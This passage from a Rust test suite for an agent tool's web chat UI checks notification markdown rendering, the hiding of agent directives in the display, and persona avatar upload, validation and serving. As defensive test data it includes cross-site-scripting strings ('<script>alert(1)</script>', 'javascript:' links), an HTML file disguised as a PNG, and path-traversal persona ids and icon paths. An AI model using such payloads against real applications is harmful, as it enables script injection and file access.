14855 busy.message
14856 );
14857 drop(guard);
14858 }
14859
14860 let Json(view) = call(3).await.expect("switch");
14861 assert_eq!(view.talk.implementers, 3);
14862 assert!(talks.get(&id).expect("reload").implementers_dirty);
14863 assert!(!view.thinking);
14864 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14865 for n in [1, 2, 3] {
14866 let Json(view) = call(n).await.expect("immediate consecutive change");
14867 assert_eq!(view.talk.implementers, n);
14868 assert!(!view.thinking);
14869 assert!(!ui.is_thinking(&id));
14870 }
14871
14872 let mut closed = talks.get(&id).expect("reload");
14873 talk::close(&mut closed, &talks).expect("close");
14874 let e = call(2).await.expect_err("closed talk");
14875 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14876 assert!(e.message.contains("takes no more turns"), "{}", e.message);
14877 }
14878
14879 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14881 let tmp = TempDir::new().expect("tempdir");
14882 let repo = tmp.path().join("repo");
14883 std::fs::create_dir_all(&repo).expect("repo dir");
14884 std::fs::write(
14885 repo.join("magi.toml"),
14886 format!("{MOCK_AGENT_TOML}\n{extra}"),
14887 )
14888 .expect("write magi.toml");
14889 let home = TempDir::new().expect("temp home");
14890 let talks = Talks::at(home.path().join("talks"));
14891 let ui = Arc::new(
14892 Ui::new(
14893 Queue::at(home.path().join("queue")),
14894 Questions::at(home.path().join("questions")),
14895 talks.clone(),
14896 home.path().join("runs"),
14897 home.path().to_path_buf(),
14898 repo.clone(),
14899 )
14900 .with_worktrees_root(home.path().join("wt")),
14901 );
14902 let cfg = config_for(&repo).await.expect("discover config");
14903 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14904 (tmp, home, ui, talk.id, repo)
14905 }
14906
14907 #[tokio::test]
14908 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14909 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14910 let mut conversation = ui.talks.get(&id).unwrap();
14911 talk::record(
14912 &mut conversation,
14913 &ui.talks,
14914 "# Update on a task you filed\noperator words",
14915 vec![],
14916 )
14917 .unwrap();
14918 conversation.turns[0].sender = None;
14920 conversation.turns[0].messages.clear();
14921 ui.talks.put(&mut conversation).unwrap();
14922 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14923 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14924 talk::drain(&mut conversation, &ui.talks).unwrap();
14925 talk::record_reply(
14926 &mut conversation,
14927 &ui.talks,
14928 "about that report",
14929 vec![],
14930 Some(talk::ReplyTarget {
14931 turn: 1,
14932 message: 1,
14933 }),
14934 )
14935 .unwrap();
14936 conversation.turns[2].messages[0]
14937 .reply
14938 .as_mut()
14939 .unwrap()
14940 .sender = None;
14941 conversation.turns.push(talk::Turn {
14942 sender: Some(talk::Sender::Persona),
14943 who: talk::Who::Agent,
14944 body: "magi: actual persona words".into(),
14945 at: Timestamp::now(),
14946 attachments: vec![],
14947 usage: None,
14948 breaks: None,
14949 messages: vec![],
14950 posted_by: None,
14951 });
14952 ui.talks.put(&mut conversation).unwrap();
14953 let view = TalkView::with_config(
14954 ui.talks.get(&id).unwrap(),
14955 false,
14956 None,
14957 &ui.home,
14958 &ui.references,
14959 );
14960 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14961 assert_eq!(
14962 view.talk.turns[1].messages[0].sender,
14963 Some(talk::Sender::Operator)
14964 );
14965 assert_eq!(
14966 view.talk.turns[1].messages[1].sender,
14967 Some(talk::Sender::Magi)
14968 );
14969 assert_eq!(
14970 view.talk.turns[2].messages[0]
14971 .reply
14972 .as_ref()
14973 .unwrap()
14974 .sender,
14975 Some(talk::Sender::Magi)
14976 );
14977 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14978 assert_eq!(view.turn_messages_md[0].len(), 1);
14979 assert!(view.turn_messages_md[0][0].is_none());
14980 assert!(view.turn_messages_md[1][0].is_none());
14981 assert!(view.turn_messages_md[1][1].is_some());
14982 }
14983
14984 #[tokio::test]
14985 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14986 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14987 let mut conversation = ui.talks.get(&id).unwrap();
14988 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14989 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14990 talk::queue_notice(
14991 &mut conversation,
14992 &ui.talks,
14993 &body,
14994 "watch:123",
14995 &|_| false,
14996 None,
14997 display.clone(),
14998 )
14999 .unwrap();
15000 assert!(
15001 !talk::queue_notice(
15002 &mut conversation,
15003 &ui.talks,
15004 &body,
15005 "watch:123",
15006 &|_| false,
15007 None,
15008 display.clone()
15009 )
15010 .unwrap()
15011 );
15012 let saved = ui.talks.get(&id).unwrap();
15013 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15014 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15015 assert!(
15016 view.talk.turns[0].messages[0].display.is_none(),
15017 "operator copy stays literal"
15018 );
15019 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15020 assert!(view.turn_messages_md[0][0].is_none());
15021 let queued_md = view.pending_messages_md[0].clone();
15022 assert_eq!(
15023 queued_md,
15024 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15025 );
15026 talk::drain(&mut conversation, &ui.talks).unwrap();
15027 talk::record_reply(
15028 &mut conversation,
15029 &ui.talks,
15030 "Explain",
15031 vec![],
15032 Some(talk::ReplyTarget {
15033 turn: 1,
15034 message: 0,
15035 }),
15036 )
15037 .unwrap();
15038 let mut saved = ui.talks.get(&id).unwrap();
15039 assert_eq!(saved.turns[1].messages[0].body, body);
15040 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15041 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15042 assert!(!reply.excerpt.contains("automatic report"));
15043 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
15046 let view = TalkView::with_config(
15047 ui.talks.get(&id).unwrap(),
15048 false,
15049 None,
15050 &ui.home,
15051 &ui.references,
15052 );
15053 assert_eq!(view.turn_messages_md[1][0], queued_md);
15054 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15055 assert!(
15056 !view.talk.turns[2].messages[0]
15057 .reply
15058 .as_ref()
15059 .unwrap()
15060 .excerpt
15061 .contains("automatic report")
15062 );
15063 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15064 }
15065
15066 #[tokio::test]
15067 async fn consultation_display_hides_directives_in_queue_and_history() {
15068 for node in [
15069 "implement",
15070 crate::land::APPROVAL_NODE,
15071 crate::github_text::ASK_NODE,
15072 ] {
15073 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15074 let mut question = Question::new(
15075 "run-123".into(),
15076 node.into(),
15077 "seat-1".into(),
15078 "Which backend?".into(),
15079 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15080 vec!["SQLite".into(), "Redis".into()],
15081 );
15082 ui.questions.put(&mut question).unwrap();
15083 let body = crate::prompt::chat_consult(&question);
15084 let mut conversation = ui.talks.get(&id).unwrap();
15085 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15086 assert!(
15087 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15088 );
15089 conversation = ui.talks.get(&id).unwrap();
15090 assert_eq!(conversation.pending_messages[0].body, body);
15091 assert!(body.contains("magi answer"));
15092 let mut legacy_pending = conversation.clone();
15093 legacy_pending.pending_messages[0].display = None;
15094 let legacy_view =
15095 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15096 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15097 assert!(legacy_md.contains("Question consultation"));
15098 assert!(!legacy_md.contains("magi answer"));
15099 let view =
15100 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15101 assert!(
15102 view.turn_messages_md[0][0].is_none(),
15103 "operator copy stays literal"
15104 );
15105 let queued_md = view.pending_messages_md[0].clone().unwrap();
15106 let rendered = serde_json::to_string(&queued_md).unwrap();
15107 for visible in [
15108 "Which backend?",
15109 "Context",
15110 "storage",
15111 "SQLite",
15112 "Redis",
15113 "<script>literal</script>",
15114 ] {
15115 assert!(rendered.contains(visible), "missing {visible}");
15116 }
15117 for directive in [
15118 "What to do",
15119 "magi answer",
15120 "Never answer it yourself",
15121 "Do not edit the repository",
15122 ] {
15123 assert!(!rendered.contains(directive), "exposed {directive}");
15124 }
15125 assert_eq!(
15126 view.talk.pending_messages[0].display,
15127 Some(crate::prompt::chat_consult_display(&question))
15128 );
15129 talk::drain(&mut conversation, &ui.talks).unwrap();
15130 let view =
15131 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15132 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15133 assert_eq!(conversation.turns[1].messages[0].body, body);
15134
15135 conversation.turns[1].messages[0].display = None;
15138 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15139 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15140 assert!(legacy.contains("Question consultation"));
15141 assert!(!legacy.contains("magi answer"));
15142 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15143 }
15144 }
15145
15146 #[test]
15147 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15148 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15149 let (body, mut display) =
15150 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15151 display.facts = facts.into();
15152 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15153 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15154 let json = serde_json::to_string(&nodes).unwrap();
15155 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15156 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15157 }
15158 assert!(json.contains("<script>alert(1)</script>"));
15159 assert!(!json.contains("javascript:"));
15160 assert!(!json.contains("Tell the operator"));
15161 assert!(!json.contains("untrusted"));
15162 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15163 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15164 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15165 assert_eq!(
15166 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15167 md::to_nodes("# Status", &md::ImageBase::None),
15168 );
15169 }
15170
15171 #[tokio::test]
15172 async fn notification_display_recovers_exact_legacy_completion_references() {
15173 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15174 let mut conversation = ui.talks.get(&id).unwrap();
15175 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15176 id: "task-123",
15177 title: "Change",
15178 status: "done",
15179 reason: None,
15180 run: Some("run-123"),
15181 pr: None,
15182 summary: Some("Merge state unknown"),
15183 });
15184 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15185 conversation.turns[0].sender = None;
15186 conversation.turns[0].messages.clear();
15187 conversation.turns[0].breaks = None;
15188 conversation.pending = body.clone();
15189 conversation
15190 .completion_notices
15191 .push(crate::chat_notify::CompletionReference {
15192 task: "task-123".into(),
15193 run: Some("run-123".into()),
15194 notice: body.clone(),
15195 });
15196 ui.talks.put(&mut conversation).unwrap();
15197 let view = TalkView::with_config(
15198 ui.talks.get(&id).unwrap(),
15199 false,
15200 None,
15201 &ui.home,
15202 &ui.references,
15203 );
15204 assert_eq!(
15205 view.talk.turns[0].messages[0].display,
15206 Some(display.clone())
15207 );
15208 assert_eq!(view.talk.pending_messages[0].display, Some(display));
15209 assert_eq!(
15210 view.talk.turns[0].messages[0].sender,
15211 Some(talk::Sender::Magi)
15212 );
15213 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15214 conversation.completion_notices[0]
15215 .notice
15216 .push_str("different");
15217 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15218 assert!(view.talk.turns[0].messages.is_empty());
15219 assert!(view.talk.pending_messages.is_empty());
15220 }
15221
15222 #[tokio::test]
15223 async fn avatar_settings_report_states_and_inherit_after_corruption() {
15224 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15225 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15226 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15227 ))
15228 .await;
15229 let path = avatar_setting_path(home.path(), Some("rei"));
15230 let orphan = avatar_setting_path(home.path(), Some("removed"));
15231 save_icon_file(&orphan, icon).unwrap();
15232 for (saved, expected) in [
15233 (icon, "custom"),
15234 ("builtin", "builtin"),
15235 ("data:image/png;base64,!!!!", "inherit"),
15236 ("data:image/png;base64,PGh0bWw+", "inherit"),
15237 ("/tmp/avatar.png", "inherit"),
15238 ] {
15239 atomic_icon_write(&path, saved).unwrap();
15240 let catalog =
15241 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15242 .await
15243 .unwrap()
15244 .0;
15245 let personas = catalog["personas"].as_array().unwrap();
15246 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15247 assert_eq!(rei["override_state"], expected);
15248 assert_eq!(rei["has_config_icon"], true);
15249 assert_eq!(rei["is_orphan"], false);
15250 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15251 assert_eq!(removed["override_state"], "custom");
15252 assert_eq!(removed["is_orphan"], true);
15253 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15254 assert_eq!(default["override_state"], "inherit");
15255 assert_eq!(default["has_config_icon"], false);
15256 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15257 assert_eq!(
15258 effective.as_deref(),
15259 Some(if expected == "builtin" { "" } else { icon })
15260 );
15261 }
15262 }
15263
15264 #[tokio::test]
15265 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15266 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15267 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15268 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15269 ))
15270 .await;
15271 let target = |id: Option<&str>| AvatarSettingsQuery {
15272 persona: id.map(str::to_owned),
15273 ..Default::default()
15274 };
15275 let original_config = config_for(&repo).await.unwrap();
15276 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15277 let original_prompt = persona::section_for(&original_persona, None);
15278 let before = talk_detail(State(ui.clone()), Path(id.clone()))
15279 .await
15280 .unwrap()
15281 .0;
15282 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15283 let _ = avatar_settings_put(
15284 State(ui.clone()),
15285 Query(target(persona)),
15286 Json(MagiIconUpload { icon: icon.into() }),
15287 )
15288 .await
15289 .unwrap();
15290 let path = avatar_setting_path(home.path(), persona);
15291 assert!(path.starts_with(home.path().join("avatars")));
15292 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15293 for bad in [
15294 "/tmp/image.png".to_owned(),
15295 "data:image/png;base64,!!!!".to_owned(),
15296 "data:image/png;base64,PGh0bWw+".to_owned(),
15297 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15298 format!(
15299 "data:image/png;base64,{}",
15300 "A".repeat(persona_icon::ICON_MAX_BYTES)
15301 ),
15302 ] {
15303 assert!(
15304 avatar_settings_put(
15305 State(ui.clone()),
15306 Query(target(persona)),
15307 Json(MagiIconUpload { icon: bad })
15308 )
15309 .await
15310 .is_err()
15311 );
15312 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15313 }
15314 }
15315 assert!(read_magi_icon(home.path()).is_none());
15316 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15317 let after = talk_detail(State(ui.clone()), Path(id.clone()))
15318 .await
15319 .unwrap()
15320 .0;
15321 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15322 assert_ne!(
15323 before
15324 .personas
15325 .iter()
15326 .find(|p| p.id == "magi")
15327 .unwrap()
15328 .avatar,
15329 after
15330 .personas
15331 .iter()
15332 .find(|p| p.id == "magi")
15333 .unwrap()
15334 .avatar
15335 );
15336 let restarted = Arc::new(Ui::new(
15337 Queue::at(home.path().join("queue")),
15338 Questions::at(home.path().join("questions")),
15339 Talks::at(home.path().join("talks")),
15340 home.path().join("runs"),
15341 home.path().to_owned(),
15342 repo,
15343 ));
15344 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15345 .await
15346 .unwrap()
15347 .0;
15348 assert!(
15349 catalog["personas"]
15350 .as_array()
15351 .unwrap()
15352 .iter()
15353 .any(|p| p["id"] == "../custom/日本語")
15354 );
15355 for expected in ["custom", "default", "rei"] {
15356 assert!(
15357 catalog["personas"]
15358 .as_array()
15359 .unwrap()
15360 .iter()
15361 .any(|p| p["id"] == expected)
15362 );
15363 }
15364 let response =
15365 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15366 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15367 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15368 .await
15369 .unwrap();
15370 assert_eq!(
15371 effective_persona_icon(home.path(), "rei", Some(icon)),
15372 Some(String::new())
15373 );
15374 let response = talk_avatar(
15375 State(restarted.clone()),
15376 Path(id.clone()),
15377 Query(AvatarQuery {
15378 persona: Some("rei".into()),
15379 ..Default::default()
15380 }),
15381 )
15382 .await
15383 .unwrap();
15384 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15385 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15386 .await
15387 .unwrap()
15388 .0;
15389 assert_ne!(
15390 after
15391 .personas
15392 .iter()
15393 .find(|p| p.id == "rei")
15394 .unwrap()
15395 .avatar,
15396 reset
15397 .personas
15398 .iter()
15399 .find(|p| p.id == "rei")
15400 .unwrap()
15401 .avatar
15402 );
15403 let mut inherit = target(Some("rei"));
15404 inherit.inherit = Some("1".into());
15405 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15406 .await
15407 .unwrap();
15408 assert_eq!(
15409 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15410 Some(icon)
15411 );
15412 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15413 .await
15414 .unwrap();
15415 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15416 assert_eq!(
15417 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15418 Some(icon)
15419 );
15420 let cfg = config_for(&ui.repo).await.unwrap();
15422 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15423 assert_eq!(persona::section_for(&resolved, None), original_prompt);
15424 assert!(!original_prompt.contains("data:image"));
15425 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15426 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15427 assert!(!stored.contains("data:image"));
15428 let mut orphan = ui.talks.get(&id).unwrap();
15429 orphan.persona = "../custom/日本語".into();
15430 let view = TalkView::with_config(
15431 orphan,
15432 false,
15433 Some(&cfg),
15434 home.path(),
15435 &id_links::IndexCache::default(),
15436 );
15437 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15438 }
15439
15440 #[tokio::test]
15441 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15442 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15443 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15444 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15445 let _ = magi_icon_put(
15446 State(ui.clone()),
15447 Json(MagiIconUpload { icon: icon.into() }),
15448 )
15449 .await
15450 .unwrap();
15451 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15452 assert_ne!(original, changed);
15453 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15454 let response = magi_avatar(
15455 State(ui.clone()),
15456 Query(AvatarQuery {
15457 persona: None,
15458 builtin: None,
15459 }),
15460 )
15461 .await;
15462 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15463 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15464 assert_eq!(
15465 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15466 "nosniff"
15467 );
15468 for bad in [
15469 "data:image/png;base64,PGh0bWw+".to_owned(),
15470 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15471 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15472 ] {
15473 assert!(save_magi_icon(home.path(), &bad).is_err());
15474 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15475 }
15476 let restarted = Arc::new(Ui::new(
15478 Queue::at(home.path().join("queue")),
15479 Questions::at(home.path().join("questions")),
15480 Talks::at(home.path().join("talks")),
15481 home.path().join("runs"),
15482 home.path().to_path_buf(),
15483 repo,
15484 ));
15485 assert_eq!(
15486 magi_icon_get(State(restarted.clone())).await.0["avatar"],
15487 changed
15488 );
15489 let view = TalkView::with_config(
15490 restarted.talks.get(&id).unwrap(),
15491 false,
15492 None,
15493 &restarted.home,
15494 &restarted.references,
15495 );
15496 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15497 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15498 let response = magi_avatar(
15499 State(ui.clone()),
15500 Query(AvatarQuery {
15501 persona: None,
15502 builtin: None,
15503 }),
15504 )
15505 .await;
15506 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15507 .await
15508 .unwrap();
15509 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15510 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15511 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15512 let _ = magi_icon_delete(State(ui)).await.unwrap();
15513 }
15514
15515 async fn avatar(
15517 ui: &Arc<Ui>,
15518 id: &str,
15519 persona: Option<&str>,
15520 builtin: bool,
15521 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15522 let res = talk_avatar(
15523 State(Arc::clone(ui)),
15524 Path(id.to_owned()),
15525 Query(AvatarQuery {
15526 persona: persona.map(str::to_owned),
15527 builtin: builtin.then(|| "1".to_owned()),
15528 }),
15529 )
15530 .await
15531 .expect("an avatar is never an error response");
15532 let h = res.headers();
15533 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15534 let nosniff = h
15535 .get(header::X_CONTENT_TYPE_OPTIONS)
15536 .is_some_and(|v| v == "nosniff");
15537 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15538 let status = res.status();
15539 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15540 .await
15541 .expect("body")
15542 .to_vec();
15543 (status, ct, nosniff, csp, body)
15544 }
15545
15546 fn tiny_png() -> Vec<u8> {
15547 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15548 b.extend_from_slice(&[0u8; 32]);
15549 b
15550 }
15551
15552 #[tokio::test]
15553 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15554 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15555 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15556 assert_eq!(res.status(), StatusCode::OK);
15557 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15558 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15559 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15560 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15561 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15562 .await
15563 .unwrap();
15564 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15565 assert_ne!(
15566 persona_icon::operator_svg(),
15567 persona_icon::builtin_svg("default")
15568 );
15569 }
15570
15571 #[tokio::test]
15572 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15573 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15574 for p in [
15575 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15576 ] {
15577 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15578 assert_eq!(status, StatusCode::OK, "{p}");
15579 assert_eq!(ct, "image/svg+xml", "{p}");
15580 assert!(nosniff && csp, "{p}");
15581 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15582 }
15583 let own = avatar(&ui, &id, None, false).await;
15585 let default = avatar(&ui, &id, Some("default"), false).await;
15586 assert_eq!(own.4, default.4);
15587 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15588 assert_eq!(unknown.1, "image/svg+xml");
15589 }
15590
15591 #[tokio::test]
15592 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15593 let dir = TempDir::new().expect("icons");
15594 let good = dir.path().join("good.png");
15595 std::fs::write(&good, tiny_png()).unwrap();
15596 let spoof = dir.path().join("spoof.png");
15597 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15598 let big = dir.path().join("big.png");
15599 let mut bytes = tiny_png();
15600 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15601 std::fs::write(&big, bytes).unwrap();
15602 let missing = dir.path().join("missing.png");
15603 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15604 let extra = format!(
15605 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15606 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15607 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15608 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15609 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15610 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15611 uri(&good),
15612 uri(&spoof),
15613 uri(&big),
15614 uri(&missing),
15615 );
15616 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15617
15618 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15619 assert_eq!(
15620 (status, ct.as_str(), nosniff),
15621 (StatusCode::OK, "image/png", true)
15622 );
15623 assert_eq!(body, tiny_png());
15624 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15625 assert_eq!(ct, "image/png", "data URI");
15626
15627 for p in ["misato", "asuka", "shinji", "magi"] {
15628 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15629 assert_eq!(
15630 (status, ct.as_str(), csp),
15631 (StatusCode::OK, "image/svg+xml", true),
15632 "{p}"
15633 );
15634 assert!(body.starts_with(b"<svg"), "{p}");
15635 }
15636 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15638 assert_eq!(ct, "image/svg+xml");
15639 }
15640
15641 #[tokio::test]
15642 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15643 let oversized = format!(
15644 "data:image/png;base64,{}",
15645 "A".repeat(persona_icon::ICON_MAX_BYTES)
15646 );
15647 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15648 let extra = format!(
15649 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15650 );
15651 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15652 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15653 .await
15654 .expect("detail with invalid icon");
15655 assert!(detail.personas.iter().any(|p| p.id == "custom"));
15656 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15657 assert_eq!(status, StatusCode::OK);
15658 assert_eq!(ct, "image/svg+xml");
15659 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15660 let Json(view) = talk_persona(
15661 State(Arc::clone(&ui)),
15662 Path(id.clone()),
15663 Json(TalkPersona {
15664 persona: "custom".into(),
15665 }),
15666 )
15667 .await
15668 .expect("persona switch with invalid icon");
15669 assert_eq!(view.talk.persona, "custom");
15670 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15671 }
15672 }
15673
15674 #[tokio::test]
15675 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15676 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15677 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15678 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15679 assert_eq!(
15680 (status, ct.as_str(), nosniff, csp),
15681 (StatusCode::OK, "image/svg+xml", true, true)
15682 );
15683 }
15684
15685 #[tokio::test]
15686 async fn the_talk_view_carries_server_built_avatar_urls_only() {
15687 let (_t, _h, ui, id, _repo) =
15688 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15689 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15690 .await
15691 .expect("detail");
15692 let json = serde_json::to_string(&detail).unwrap();
